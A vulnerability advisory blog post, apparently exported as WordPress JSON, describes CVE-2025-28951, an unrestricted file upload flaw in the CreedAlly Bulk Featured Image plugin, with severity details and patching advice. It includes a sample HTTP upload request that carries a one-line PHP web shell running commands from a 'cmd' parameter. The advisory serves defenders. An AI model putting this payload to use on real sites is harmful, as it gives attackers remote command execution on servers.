{"id":58888,"date":"2025-07-10T07:23:05","date_gmt":"2025-07-10T07:23:05","guid":{"rendered":""},"modified":"2025-09-06T17:55:48","modified_gmt":"2025-09-06T23:55:48","slug":"cve-2025-28951-a-critical-unrestricted-file-upload-vulnerability-in-creedally-bulk-featured-image","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-28951-a-critical-unrestricted-file-upload-vulnerability-in-creedally-bulk-featured-image\/","title":{"rendered":"<strong>CVE-2025-28951: A Critical Unrestricted File Upload Vulnerability in CreedAlly Bulk Featured Image<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-28951 is an Unrestricted Upload of File with Dangerous Type vulnerability found in CreedAlly\u2019s Bulk Featured Image plugin. The vulnerability permits an attacker to upload a web shell to a web server, which could potentially lead to a total system compromise or data leakage. Given the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53314-high-severity-cross-site-request-forgery-csrf-vulnerability-in-sh1zen-wp-optimizer\/\"  data-wpil-monitor-id=\"65585\">severity of this vulnerability<\/a> &#8211; a CVSS score of 9.1 &#8211; the implications of an exploit can be dire for any website using the affected versions of this plugin.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-28951<br \/>\nSeverity: Critical (CVSS: 9.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: System compromise, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49759-sql-injection-vulnerability-in-sql-server-potentially-enabling-privilege-escalation-and-data-leakage\/\"  data-wpil-monitor-id=\"79200\">potential data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2399902897\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-58819-unrestricted-file-upload-vulnerability-in-creedally-bulk-featured-image\/\"  data-wpil-monitor-id=\"86996\">CreedAlly Bulk Featured<\/a> Image | Up to and including 1.2.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of the inadequate <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6755-wordpress-plugin-vulnerability-leads-to-arbitrary-file-deletion\/\"  data-wpil-monitor-id=\"65618\">file validation mechanism in CreedAlly&#8217;s Bulk Featured Image plugin<\/a>. An attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7340-critical-arbitrary-file-upload-vulnerability-in-ht-contact-form-widget-for-wordpress\/\"  data-wpil-monitor-id=\"66358\">upload a web shell disguised as a legitimate file<\/a>. Once the web shell is uploaded, it provides the attacker with remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24999-critical-sql-server-access-control-vulnerability\/\"  data-wpil-monitor-id=\"79618\">control over the server<\/a>. The attacker can then execute arbitrary commands, modify existing files, and even potentially access sensitive data, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52817-authorization-bypass-in-zealousweb-abandoned-contact-form-7-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"65735\">leading to a potential system<\/a> compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3662852154\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following is a conceptual example of how the vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/upload_file HTTP\/1.1\nHost: vulnerable-site.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.php&quot;\nContent-Type: image\/jpeg\n&lt;?php echo shell_exec($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker is <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6058-critical-arbitrary-file-upload-vulnerability-in-wpbookit-wordpress-plugin\/\"  data-wpil-monitor-id=\"66477\">uploading a file<\/a> named &#8220;shell.php&#8221;, which is a web shell, disguised as an image file (jpeg). The web shell permits the attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27577-arbitrary-code-execution-in-openharmony-via-race-condition-vulnerability\/\"  data-wpil-monitor-id=\"76258\">execute arbitrary<\/a> commands on the server by calling the &#8216;cmd&#8217; GET parameter.<\/p>\n<p><strong>Countermeasures and Mitigation<\/strong><\/p>\n<p>Given the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-12150-high-severity-blind-sql-injection-vulnerability-in-eron-software-wowwo-crm\/\"  data-wpil-monitor-id=\"65785\">severity of this vulnerability<\/a>, immediate action is required. Users are advised to apply the latest patch provided by the vendor. In the absence of a patch, or as a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may be used to detect and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8059-critical-privilege-escalation-vulnerability-in-b-blocks-wordpress-plugin\/\"  data-wpil-monitor-id=\"76431\">block attempts to exploit this vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-28951 is an Unrestricted Upload of File with Dangerous Type vulnerability found in CreedAlly\u2019s Bulk Featured Image plugin. The vulnerability permits an attacker to upload a web shell to a web server, which could potentially lead to a total system compromise or data leakage. Given the severity of this vulnerability &#8211; a CVSS [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-58888","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/58888","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=58888"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/58888\/revisions"}],"predecessor-version":[{"id":79839,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/58888\/revisions\/79839"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=58888"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=58888"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=58888"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=58888"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=58888"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=58888"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=58888"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=58888"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=58888"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}